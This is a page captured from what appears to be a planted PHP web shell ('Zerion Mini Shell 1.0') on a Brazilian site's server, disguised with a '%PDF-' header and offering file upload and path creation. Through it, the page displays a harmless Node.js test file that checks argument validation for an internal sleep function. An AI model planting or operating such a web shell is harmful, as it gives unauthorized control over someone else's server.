%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/test/parallel/test-util-sleep.js

// Flags: --expose-internals
'use strict';
require('../common');
const assert = require('assert');
const { sleep } = require('internal/util');

[undefined, null, '', {}, true, false].forEach((value) => {
  assert.throws(
    () => { sleep(value); },
    /The "msec" argument must be of type number/
  );
});

[-1, 3.14, NaN, 4294967296].forEach((value) => {
  assert.throws(
    () => { sleep(value); },
    /The value of "msec" is out of range/
  );
});

Zerion Mini Shell 1.0